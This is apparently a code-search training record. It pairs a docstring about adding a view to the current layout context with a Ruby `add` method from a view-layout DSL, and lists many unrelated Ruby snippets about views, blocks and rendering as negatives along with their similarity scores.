[ "0.5456927", "0.53594893", "0.5162902", "0.5130848", "0.51273304", "0.50704503", "0.48461854", "0.48304355", "0.47790796", "0.47399643", "0.46746725", "0.46544686", "0.46487", "0.4647446", "0.46388987", "0.46213907", "0.46047938", "0.45974174", "0.45681214", "0.45681214", "0.45576423", "0.45456687", "0.45389292", "0.448319", "0.44791478", "0.44791478", "0.44791478", "0.4473528", "0.44655898", "0.44581643", "0.44576952", "0.4437505", "0.44331318", "0.44312352", "0.442053", "0.4418633", "0.44053113", "0.43967572", "0.43541497", "0.4353084", "0.43378806", "0.43368423", "0.43109637", "0.42857713", "0.42699412", "0.42609793", "0.42567894", "0.4253213", "0.4253213", "0.42358544", "0.42341542", "0.42322436", "0.42257988", "0.42162797", "0.421222", "0.42121565", "0.42112938", "0.42022973", "0.41986954", "0.4194934", "0.41871214", "0.4183938", "0.41803703", "0.4175586", "0.4153753", "0.41473508", "0.41399348", "0.41321304", "0.4120729", "0.41206044", "0.41085777", "0.40932116", "0.40903834", "0.4089295", "0.40881073", "0.40841067", "0.40840587", "0.40835807", "0.40794945", "0.40782678", "0.40713787", "0.407024", "0.407024", "0.40608847", "0.40542603", "0.4052477", "0.40345705", "0.40344805", "0.40285078", "0.40258005", "0.40258005", "0.40258005", "0.40241984", "0.4022039", "0.40216067", "0.40032554", "0.40015203", "0.39990366", "0.3994438", "0.3993377" ]
0.715275
0
Only intended for private use
def reapply_blocks @reapply_blocks ||= [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def refutal()\n end", "def schubert; end", "def implementation; end", "def implementation; end", "def internal; end", "def operations; end", "def operations; end", "def identify; end", "def weber; end", "def custom; end", "def custom; end", "def used?; end", "def handle; end", "def sitemaps; end", "def init; end", "def init; end", "def init; end", "def init; end", "def wrapper; end", "def private_method\n end", "def suivre; end", "def isolated; end", "def isolated; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def berlioz; end", "def from; end", "def from; end", "def from; end", "def from; end", "def processor; end", "def intensifier; end", "def formation; end", "def reflector; end", "def reflector; end", "def initialize() end", "def spec; end", "def spec; end", "def extra; end", "def verdi; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def internal?; end", "def strategy; end", "def internship_passed; end", "def terpene; end", "def overrides; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def origin; end", "def origin; end", "def origin; end", "def initialize\n\n end", "def initialize\n\n end", "def who_we_are\r\n end", "def original_result; end", "def pausable; end", "def operation; end", "def called_from; end", "def called_from; end", "def villian; end", "def initialize\r\n\r\n end", "def methods() end", "def stderrs; end", "def init\n\n end", "def initialize\n\t\t\n\tend", "def executor; end", "def executor; end", "def executor; end" ]
[ "0.8149973", "0.65438765", "0.6523563", "0.6523563", "0.6523563", "0.6523563", "0.6341037", "0.633144", "0.6293213", "0.6293213", "0.62403715", "0.6002386", "0.6002386", "0.59773976", "0.5959009", "0.59439325", "0.59439325", "0.59438956", "0.5903242", "0.5895697", "0.5895286", "0.5895286", "0.5895286", "0.5895286", "0.58791596", "0.58358556", "0.58168775", "0.5793088", "0.5793088", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.57772297", "0.5765706", "0.5765706", "0.5765706", "0.5765706", "0.572375", "0.57094085", "0.57031935", "0.5703135", "0.5703135", "0.5701827", "0.57001865", "0.57001865", "0.567239", "0.5669988", "0.5665427", "0.5665427", "0.5665427", "0.5665427", "0.5661061", "0.565909", "0.5657999", "0.56439304", "0.56417835", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5624203", "0.5624203", "0.5624203", "0.56235754", "0.56235754", "0.5622088", "0.5615461", "0.56092876", "0.56032854", "0.5599514", "0.5599514", "0.55977356", "0.55960613", "0.5591171", "0.558973", "0.5589274", "0.55854297", "0.55833757", "0.55833757", "0.55833757" ]
0.0
-1
Blocks passed to `reapply` are only run when `reapply!` is called.
def reapply(&block) raise ArgumentError.new('Block required') unless block raise InvalidDeferredError.new('reapply must be run inside of a context') unless @context if reapply? yield end block = block.weak! parent_layout.reapply_blocks << [@context, block] return self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_reapply_blocks\n self.reapply_blocks.each do |target, block|\n context(target, &block)\n end\n end", "def reapply_blocks\n @reapply_blocks ||= []\n end", "def redo\n\t\tself.apply()\n\tend", "def callBlock\n yield # Invokes block\n yield # Invokes block again\nend", "def run_block # this is a method that accepts a block and yields action to block once method is called (just like map or each)\n yield if block_given? # prevents error if no block is run with method invocation; only use this if you have a specific reason for it, otherwise, it's best to fail and fail early\nend", "def _run\n super.tap { reenqueue }\n end", "def call_block\n @_block.call(self) if @_block\n end", "def recall; end", "def reset\n unapply\n apply\n end", "def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end", "def call(&block)\n instance_eval(&block)\n end", "def call(&block)\n instance_eval(&block)\n end", "def call(&block)\n instance_eval(&block)\n end", "def refresh(command, freshness = 0.0, &block)\n if (estimate_world_time - message_time(command)) > freshness\n # Note: Because global callbacks occur before local, on_* will\n # have a chance to update data before the following block.call\n ignore_arg = Proc.new { |r| block.call if block }\n\n #puts \"refreshing #{command.to_s}\"\n send(command, &ignore_arg)\n else\n #puts \"calling secondary block for #{command.to_s}\"\n block.call if block\n end\n end", "def check_not_applied\n LOCK.synchronize do\n ( hooks.keys - applied ).each do |rkey|\n calls = hooks[ rkey ].map { |blk, clr| clr }\n yield( rkey, calls )\n end\n end\n end", "def rucas &block\n self.instance_eval(&block)\n end", "def rblock\n if block_given?\n # yield execute the block\n yield\n else\n puts \"No block\"\n end\n end", "def call_block(&block)\n block.call\nend", "def rewrite(&block)\n self\n end", "def call\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self) if @block\n self\n end", "def process_block exp\n exp = exp.dup\n exp.shift\n\n exp.map! do |e|\n process e\n end\n\n exp.unshift :rlist\n end", "def on_modified(&block)\n #raise \"Not implemented\"\n @on_modified_block = block\n end", "def alter(&block)\n dup.tap { |o| o.instance_eval(&block) }\n end", "def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end", "def block=(_arg0); end", "def block=(_arg0); end", "def apply; nil; end", "def run(&block); end", "def my_method(&my_block)\n puts 'from my_method : before calling call method on my_block'\n my_block.call # call method calls the block\n puts 'from my_method : after calling call method on my_block'\n my_block.call\nend", "def record_block\n @block = true\n end", "def run(&block)\n end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def callback(&block)\n super do |*args|\n safe_deferrable_block(*args, &block)\n end\n end", "def return!(&block); end", "def redefine_method(method, &block)\n remove_possible_method(method)\n define_method(method, &block)\n end", "def call\n if @block\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self)\n end\n self\n end", "def reapply!\n root ||= self.view\n @layout_state = :reapply\n run_reapply_blocks\n\n @child_layouts.each do |child_layout|\n child_layout.reapply!\n end\n\n @layout_state = :initial\n\n return self\n end", "def yield\n @eff.yield.perform\n end", "def my_method(&my_block)\n puts \"hello method\"\n my_block.call\n return my_block\nend", "def run_block\n yield\nend", "def call(*args)\n block.call(*args) if block\n end", "def callBlock\n yield\n yield\nend", "def call(a,b, cache) # @closure\n\t\t# do nothing\n\t\t# but it will never be run anyway\n\tend", "def apply()\n end", "def _process_changes(event)\n _reset_no_unprocessed_events\n\n changes = [event]\n changes << config.event_queue.pop until config.event_queue.empty?\n\n return unless config.callable?\n\n hash = config.optimize_changes(changes)\n result = [hash[:modified], hash[:added], hash[:removed]]\n return if result.all?(&:empty?)\n\n block_start = MonotonicTime.now\n exception_note = \" (exception)\"\n ::Listen::Thread.rescue_and_log('_process_changes') do\n config.call(*result)\n exception_note = nil\n end\n Listen.logger.debug \"Callback#{exception_note} took #{MonotonicTime.now - block_start} sec\"\n end", "def perform(&block); end", "def modify_prices(prices, &block)\n p block.inspect\nend", "def next_block_will_be_binary_with_swapped_arguments\n @block_arity = -2\n end", "def test_error_reapply\n\n pdef = Ruote.process_definition do\n nada\n end\n\n wfid = @dashboard.launch(pdef)\n wait_for(wfid)\n\n ps = @dashboard.process(wfid)\n\n exp = ps.expressions.find { |fe| fe.class == Ruote::Exp::RefExpression }\n\n assert_not_nil exp\n\n @dashboard.register_participant :nada do |workitem|\n tracer << 'done.'\n end\n\n @dashboard.re_apply(exp.fei)\n wait_for(wfid)\n\n assert_equal 'done.', @tracer.to_s\n\n assert_equal 0, @dashboard.storage.get_many('errors').size\n end", "def transform_iter(call, args, block = nil, new_scope = true)\n needs_break_handler = [false]\n\n call = call.dup\n call << true\n\n label_prefix = builder.make_label(\"Iter:#{call[2]}\")\n body_label = label_prefix + \".body\"\n no_const_self_label = label_prefix + \".no_const_self\"\n args_label = label_prefix + \".args\"\n done_label = label_prefix + \".done\"\n\n builder.jmp(done_label)\n\n builder.set_label(body_label)\n builder.frame_set(label_prefix + \".ret\")\n\n # if we got a self through the sys args,\n # we've been re-bound to a method so use that instead.\n builder.message_sys_unpack(4)\n builder.dup_top\n builder.is(Primitive::Undef)\n builder.jmp_if(args_label)\n builder.frame_set(\"self\")\n builder.frame_set(\"super\")\n builder.pop # block\n builder.dup_top\n builder.is(Primitive::Undef)\n builder.jmp_if(no_const_self_label)\n builder.frame_set(\"const-self\")\n builder.push(nil)\n builder.push(nil)\n builder.push(nil)\n builder.push(nil)\n builder.set_label(args_label)\n builder.pop\n builder.pop\n builder.pop\n builder.set_label(no_const_self_label)\n builder.pop\n\n with_linked_vtable do\n builder.lexical_linked_scope if (new_scope)\n if (args.nil? || args == 0)\n # no args, pop the message off the stack.\n # TODO: Deal with {|| ... }, if lambda raises for arg count mismatch.\n builder.pop\n else\n if (args[0] == :lasgn || args[0] == :gasgn || args[0] == :attrasgn)\n # Ruby's behaviour on a single arg block is ugly.\n # If it takes one argument, but is given multiple,\n # it's as if it were a single arg splat. Otherwise,\n # it's like a normal method invocation.\n builder.message_count\n builder.is_not(1)\n builder.jmp_if(label_prefix + \".splatify\")\n builder.message_unpack(1, 0, 0)\n builder.jmp(label_prefix + \".done_unpack\")\n builder.set_label(label_prefix + \".splatify\")\n builder.message_unpack(0, 1, 0)\n builder.set_label(label_prefix + \".done_unpack\")\n else\n builder.message_count\n builder.is(1)\n builder.jmp_if(label_prefix + \".arrayify\")\n builder.message_unpack(0, 1, 0) # splat it all for the masgn\n builder.jmp(label_prefix + \".done_unpack\")\n builder.set_label(label_prefix + \".arrayify\")\n builder.message_unpack(1, 0, 0)\n builder.message_new(:to_tuple_prim, 0, 0)\n builder.channel_call\n builder.pop\n builder.set_label(label_prefix + \".done_unpack\")\n end\n transform(args) # comes in as an lasgn or masgn\n builder.pop\n builder.pop\n end\n\n if (block.nil?)\n transform_nil()\n else\n linfo = {\n :type => :block,\n :ret => label_prefix + \".ret\",\n :redo_label => label_prefix + \".retry\",\n }\n with_state(:block => true, :loop => linfo, :needs_break => needs_break_handler) do\n builder.set_label(label_prefix + \".retry\")\n transform(block)\n end\n end\n end\n\n builder.frame_get(label_prefix + \".ret\")\n builder.swap\n builder.channel_ret\n\n builder.set_label(done_label)\n\n builder.channel_new(body_label)\n\n if (needs_break_handler.first)\n # But first, we need to set up a trampoline and unwind\n # handler for breaks in the block. This is very complex,\n # and should probably only be done if there actually is a\n # break in the block or the block is passed as an & (so can't\n # be detected).\n breaker_tramp = builder.make_label(\"call.iter.trampoline\")\n breaker_tramp_done = builder.make_label(\"call.iter.trampoline.done\")\n breaker_unwind = builder.make_label(\"call.iter.unwinder\")\n breaker_unwind_ret = builder.make_label(\"call.iter.unwinder.next\")\n builder.jmp(breaker_tramp_done)\n\n builder.set_label(breaker_tramp)\n builder.frame_set(\"iter.trampoline.ret\")\n\n builder.channel_special(:unwinder)\n builder.channel_new(breaker_unwind)\n builder.channel_call\n builder.pop\n builder.pop\n\n builder.frame_get(\"iter.trampoline.real\")\n builder.swap\n builder.channel_call\n builder.pop\n\n # get here, unwinder needs removal.\n builder.channel_special(:unwinder)\n builder.push(nil)\n builder.channel_call\n builder.pop\n builder.pop\n\n builder.frame_get(\"iter.trampoline.ret\")\n builder.swap\n builder.channel_ret\n\n builder.set_label(breaker_unwind)\n builder.local_set(:unwind_return)\n builder.message_id\n builder.is(Primitive::MessageID.new(\"iter_break\"))\n builder.jmp_if(breaker_unwind_ret)\n builder.pop\n builder.local_get(:unwind_return)\n builder.push(false)\n builder.channel_ret\n\n builder.set_label(breaker_unwind_ret)\n builder.message_unpack(1,0,0)\n builder.swap\n builder.pop\n builder.frame_get(\"iter.trampoline.ret\")\n builder.swap\n builder.channel_ret\n\n builder.set_label(breaker_tramp_done)\n builder.frame_set(\"iter.trampoline.real\") #will be picked up in trampoline's frame.\n builder.channel_new(breaker_tramp)\n end\n\n transform(call)\n end", "def reseter(&ruby_block)\n @reseter_proc = ruby_block\n end", "def Rr!(command, &block)\n run_r!(command, &block)\n end", "def redefine_command_block(obj, command)\n object_methods(obj)[command.name] ||= begin\n obj.method(command.name)\n rescue NameError\n raise Error, \"No method exists to redefine command '#{command.name}'.\"\n end\n lambda {|*args|\n Scientist.analyze(obj, command, args) {|args|\n Scientist.object_methods(obj)[command.name].call(*args)\n }\n }\n end", "def captured_by_block?; end", "def method &block\r\n\t1\r\nend", "def method &block\r\n\t1\r\nend", "def eval\n @block.eval\n end", "def compute\n return yield if block_given?\n\n 'Does not compute.'\nend", "def chore\n if complete?\n stat :found_completed, item_id: object_id\n return\n end\n stat :will_execute, item_id: object_id\n begin\n @result = @block.call(*@args)\n rescue Exception => e\n @error = e\n end\n stat :did_execute, item_id: object_id\n discard\n end", "def run_block_proc\n yield\nend", "def apply(&blk)\n Rubylude.new ->() {\n while value = @generator.resume\n Fiber.yield blk.call(value)\n end\n }\n end", "def without_revision(&block)\n class_eval do\n CALLBACKS.each do |attr_name|\n alias_method \"orig_#{attr_name}\".to_sym, attr_name\n alias_method attr_name, :empty_callback\n end\n end\n block.call\n ensure\n class_eval do\n CALLBACKS.each do |attr_name|\n alias_method attr_name, \"orig_#{attr_name}\".to_sym\n end\n end\n end", "def block?; end", "def twice(&my_block)\n puts \"In the method, about to call the block!\"\n my_block.call #call the block\n puts \"Back in the method, about to call the block again!\"\n my_block.call #call the block again\n puts \"Back in the method, about to return!\"\nend", "def full_lift_proc(&block)\n lambda do |*args|\n args.inject(curry_lift_proc(&block)) do |a,e|\n a.apply(e)\n end\n end\n end", "def yield_or_eval &block\n case block.arity\n # ruby bug for -1\n when 0, -1 then instance_eval(&block)\n when 1 then yield(self)\n else raise ArgumentError, \"too many arguments required by block\"\n end\n end", "def apply\n end", "def my_method(&my_block)\n\n puts \"hello method\"\n\n my_block.call\n\n return my_block\n\nend", "def run_on_changes(_)\n restart\n end", "def replace &block\n @rules = []\n update(&block)\n end", "def my_method(&block)\n block.call # .call to invoke the block\nend", "def method &block \r\n\t1\r\nend", "def run_successful_apply(broker, targets, catalog_request, **kwargs, &block)\n apply_request(broker, targets, catalog_request, **kwargs) do |datas|\n ensure_successful(broker, [agent], datas, **kwargs, &block)\n end\nend", "def call(&block)\n execute(&block) if valid?\n execution_attempted!\n self\n end", "def run\n block.call\n end", "def always_run=(_arg0); end", "def call(*args, &block)\n @block.call *args, &block\n end", "def gimme_your_blocks\n yield if block_given?\nend", "def callBlock\n yield ,\n end", "def clean(&block)\n if block\n @clean = block\n else\n @clean\n end\n end", "def call(*args)\n block.call(*args)\n end" ]
[ "0.7709384", "0.7429321", "0.5699448", "0.56518894", "0.5637443", "0.56230223", "0.5604898", "0.5546339", "0.5502816", "0.5502708", "0.5376504", "0.5376504", "0.5376504", "0.53520954", "0.5328649", "0.5309528", "0.53007543", "0.52737707", "0.5272016", "0.5252527", "0.5242242", "0.5238509", "0.5224195", "0.52056754", "0.5196908", "0.5196908", "0.5190901", "0.5185736", "0.5181863", "0.5174979", "0.5174612", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.5162744", "0.51570535", "0.51475567", "0.51310194", "0.5123628", "0.5121972", "0.5113142", "0.5091076", "0.50848687", "0.5082256", "0.50722504", "0.5070034", "0.50673455", "0.5059722", "0.50550056", "0.50389105", "0.5038514", "0.5033058", "0.5033011", "0.5032876", "0.50318575", "0.5030707", "0.5028697", "0.5017676", "0.5017676", "0.5015254", "0.5011379", "0.50102776", "0.500555", "0.5002583", "0.50010383", "0.5000999", "0.49921188", "0.4988958", "0.4985146", "0.49797025", "0.4979493", "0.4977891", "0.49744722", "0.496816", "0.49607995", "0.49571842", "0.49538764", "0.49398533", "0.49391836", "0.49387527", "0.49148622", "0.49147213", "0.49031225", "0.48977426" ]
0.68201435
2
Only intended for private use
def run_reapply_blocks self.reapply_blocks.each do |target, block| context(target, &block) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def probers; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def refutal()\n end", "def schubert; end", "def implementation; end", "def implementation; end", "def internal; end", "def operations; end", "def operations; end", "def identify; end", "def weber; end", "def custom; end", "def custom; end", "def used?; end", "def handle; end", "def sitemaps; end", "def init; end", "def init; end", "def init; end", "def init; end", "def wrapper; end", "def private_method\n end", "def suivre; end", "def isolated; end", "def isolated; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def berlioz; end", "def from; end", "def from; end", "def from; end", "def from; end", "def processor; end", "def intensifier; end", "def formation; end", "def reflector; end", "def reflector; end", "def initialize() end", "def spec; end", "def spec; end", "def extra; end", "def verdi; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def internal?; end", "def strategy; end", "def internship_passed; end", "def terpene; end", "def overrides; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def state; end", "def origin; end", "def origin; end", "def origin; end", "def initialize\n\n end", "def initialize\n\n end", "def who_we_are\r\n end", "def original_result; end", "def pausable; end", "def operation; end", "def called_from; end", "def called_from; end", "def villian; end", "def initialize\r\n\r\n end", "def methods() end", "def stderrs; end", "def init\n\n end", "def initialize\n\t\t\n\tend", "def executor; end", "def executor; end", "def executor; end" ]
[ "0.8149973", "0.65438765", "0.6523563", "0.6523563", "0.6523563", "0.6523563", "0.6341037", "0.633144", "0.6293213", "0.6293213", "0.62403715", "0.6002386", "0.6002386", "0.59773976", "0.5959009", "0.59439325", "0.59439325", "0.59438956", "0.5903242", "0.5895697", "0.5895286", "0.5895286", "0.5895286", "0.5895286", "0.58791596", "0.58358556", "0.58168775", "0.5793088", "0.5793088", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.5787029", "0.57772297", "0.5765706", "0.5765706", "0.5765706", "0.5765706", "0.572375", "0.57094085", "0.57031935", "0.5703135", "0.5703135", "0.5701827", "0.57001865", "0.57001865", "0.567239", "0.5669988", "0.5665427", "0.5665427", "0.5665427", "0.5665427", "0.5661061", "0.565909", "0.5657999", "0.56439304", "0.56417835", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5640874", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5629184", "0.5624203", "0.5624203", "0.5624203", "0.56235754", "0.56235754", "0.5622088", "0.5615461", "0.56092876", "0.56032854", "0.5599514", "0.5599514", "0.55977356", "0.55960613", "0.5591171", "0.558973", "0.5589274", "0.55854297", "0.55833757", "0.55833757", "0.55833757" ]
0.0
-1
Instantiates a view via `create` and adds the view to the current target. If there is no context, a default root view can be created if that has been enabled (e.g. within the `layout` method). The block is run in the context of the new view.
def add(element, element_id=nil, options={}, &block) # make sure we have a target - raises NoContextError if none exists self.target unless @context create_default_root_context end # We want to be sure that the element has a supeview or superlayer before # the style method is called. element = initialize_element(element, element_id) self.apply(:add_child, element, options) style_and_context(element, element_id, &block) element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_view\n # Only in the 'layout' method will we allow default container to be\n # created automatically (when 'add' is called)\n @assign_root = true\n prev_should_run = @should_run_deferred\n @should_run_deferred = true\n layout\n unless @view\n if @assign_root\n create_default_root_context\n @view = @context\n else\n NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?')\n end\n end\n run_deferred(@view)\n @should_run_deferred = prev_should_run\n @assign_root = false\n # context can be set via the 'create_default_root_context' method, which\n # may be outside a 'context' block, so make sure to restore context to\n # it's previous value\n @context = nil\n\n if @preset_root\n @view = WeakRef.new(@view)\n @preset_root = nil\n end\n\n @view\n end", "def view view, &block\n @views[view]\n if block\n raise \"Nested views not supported\" if @current_view\n @current_view = view\n self.instance_eval &block\n @current_view = nil\n end\n end", "def execute\n view.add_control target, controller.current_view.instance\n end", "def view(check = nil, &block)\n raise ArgumentError, \"block required\" unless block_given?\n @views.insert(0, ViewHandler.new(check, block))\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def render_in(view_context, &block)\n self.class.compile\n @view_context = view_context\n @view_renderer ||= view_context.view_renderer\n @lookup_context ||= view_context.lookup_context\n @view_flow ||= view_context.view_flow\n @virtual_path ||= virtual_path\n @variant = @lookup_context.variants.first\n old_current_template = @current_template\n @current_template = self\n\n # Pass self as a block parameter\n @content = render_block(view_context, &block) if block_given?\n validate!\n\n send(self.class.call_method_name(@variant))\n ensure\n @current_template = old_current_template\n end", "def view(name, &block)\n @views[name] = block\n end", "def call\n load_view_class\n return <<-RUBY\n instance_vars = assigns.merge(local_assigns).inject({}) do |result, (name, value)|\n result.update(\"@\\#{name}\" => value)\n end\n view = #{view_class_name}.new(self, instance_vars) { |*names| yield(*names) }\n view.#{render_method}(#{template_source.inspect})\n RUBY\n end", "def create_view(name, body = nil, force: false, **kwargs, &block)\n kwargs[:sqlite3] = !!(adapter_name =~ /sqlite/i)\n\n drop_view(name) if force && table_exists?(name)\n\n execute build_create_view_query(name, body, **kwargs, &block)\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for || {}).each do |name,content|\n view.content_for name, content\n end\n end\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def context label, &block\n return unless block\n Tiramisu.define_and_register_a_context(label, block, self)\n end", "def view(x, y, width, height)\n view = View.new(self, x, y, width, height)\n\n return view unless block_given?\n\n begin\n yield(view)\n ensure\n view.sync\n end\n nil\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def initialize(&block)\n raise ArgumentError, \"block required\" unless block\n @actions, @with, @layouts, @views, @helpers = [], [], {}, {}, self\n @app = method(:_call)\n @root = File.dirname(eval(\"__FILE__\", block.binding))\n instance_eval(&block)\n end", "def run(&block)\n @running_template = block\n end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def at(*args, &block)\n\tRPoint::Contexts::ContextFactory.create_context(*args, &block)\nend", "def method_missing(*args, &block)\n @view_context.send(*args, &block)\n end", "def new_context(type, proc = nil)\n create_new_context(type)\n\n # run context initializer\n yield if block_given?\n\n # execute user provided block within context\n self.instance_eval(&proc) if proc\n\n restore_old_context\n end", "def create_materialized_view(name, body = nil, force: false, **kwargs, &block)\n supports_materialized_view!\n\n drop_materialized_view(name) if force && table_exists?(name)\n\n execute build_create_materialized_view_query(name, body, **kwargs, &block)\n end", "def build(view, style = nil, opts = {})\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view, opts\n end", "def outer_capture(name, &block)\n #outer_view = controller.parent_controller.view_context\n content = capture(&block)\n outer_view.send(:instance_variable_set, :\"@#{name}\", content)\n end", "def in_context(context_type, &block)\n context_type.new.instance_eval(&block)\n end", "def build_and_run_block(env)\n builder = Vagrant::Action::Builder.new\n @block.call(builder)\n @child_app = builder.to_app(env)\n Vagrant::Action::Runner.new.run(@child_app, env)\n end", "def setup(context, options, block)\n @view = context\n @options = options\n @block = block\n\n @locals = options[:locals] ? options[:locals].symbolize_keys : {}\n @details = extract_details(options)\n\n prepend_formats(options[:formats])\n\n partial = options[:partial]\n\n if String === partial\n @has_object = options.key?(:object)\n @object = options[:object]\n @collection = collection_from_options\n @path = partial\n else\n @has_object = true\n @object = partial\n @collection = collection_from_object || collection_from_options\n\n if @collection\n paths = @collection_data = @collection.map { |o| partial_path(o) }\n @path = paths.uniq.one? ? paths.first : nil\n else\n @path = partial_path\n end\n end\n\n if as = options[:as]\n raise_invalid_option_as(as) unless /\\A[a-z_]\\w*\\z/.match?(as.to_s)\n as = as.to_sym\n end\n\n if @path\n @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)\n @template_keys = retrieve_template_keys\n else\n paths.map! { |path| retrieve_variable(path, as).unshift(path) }\n end\n\n self\n end", "def render(view, locals, buffer=nil, &block)\n @template.instance_variable_set(:'@source', wrapped_source)\n\n super(view, locals, buffer, &block)\n end", "def on_view(definition, &block)\n on(definition, true, &block)\n end", "def context(name, &blk)\n if Shoulda.current_context\n Shoulda.current_context.context(name, &blk)\n else\n context = Shoulda::Context.new(name, self, &blk)\n context.build\n end\n end", "def create(view_or_constant, style = nil, opts = {})\n # TODO, refactor so that add_subview uses create, not backwards like it is now\n opts[:do_not_add] = true\n opts[:style] = style\n add_subview view_or_constant, opts\n end", "def method_missing(method, *args, &block)\n if @view.respond_to?(method)\n (class << self; self; end).class_eval do\n delegate method, to: :@view\n end\n self.send method, *args, &block\n else\n super\n end\n end", "def context(name, &blk)\n if Shoulda::Context.current_context\n Shoulda::Context.current_context.context(name, &blk)\n else\n context = Shoulda::Context::Context.new(name, self, &blk)\n context.build\n end\n end", "def render\n if @block\n instance_eval(&@block)\n end\n end", "def render_viewer_in_context(document, block)\n canvas = choose_canvas_id(block)\n if params[:controller] == 'spotlight/catalog'\n render partial: current_exhibit.required_viewer.to_partial_path,\n locals: { document: document, block: block, canvas: canvas }\n else\n render partial: current_exhibit.required_viewer.default_viewer_path,\n locals: { document: document, block: block, canvas: canvas }\n end\n end", "def view_instance\n view = ActionView::Base.new(controller.class.view_paths, {}, controller)\n view.extend master_helper_module\n end", "def view(view_class,text = nil, &block)\n @view_class = view_class\n @view_render = text || block if (text || block)\n end", "def view(name, &block)\n API::Composition.build { view(name, &block) }\n end", "def begin_view_new(object_locale_key)\n begin_view(t(:Create),\" \",t(object_locale_key))\n end", "def make_render_in_view exp\n make_render exp, true\n end", "def view_context\n ActionView::Base.new\n end", "def content_for(capture)\n @layout_block.call(capture)\n end", "def add_view\n super\n end", "def with_context(*args, &block)\n adapter.with_context(*args, &block)\n end", "def with_context(&block)\n Fiber.current.hammer_context = self\n block.call\n Fiber.current.hammer_context = nil\n end", "def initialize(view_context)\n @view_context = view_context\n super\n end", "def on_create(&block)\n @on_create_hook = block\n self\n end", "def method_missing(*args, &block)\n @_view.send(*args, &block)\n end", "def context(name, &block)\n cls = Class.new(self)\n cls.context_name = name\n # puts \"Creating context #{cls.context_name}\"\n \n # Care about Rails tests in nested contexts\n cls.tests($1.constantize) if defined?(Rails) && \n self.name =~ /^(.*(Controller|Helper|Mailer))Test/ && \n self < ActiveSupport::TestCase\n\n cls.class_eval(&block)\n (self.context_list ||= []) << cls\n const_set(\"Test#{name.to_class_name}#{cls.object_id.abs}\", cls)\n cls\n end", "def render(view, locals, buffer = nil, add_to_stack: true, &block)\n instrument_render_template do\n compile!(view)\n if buffer\n view._run(method_name, self, locals, buffer, add_to_stack: 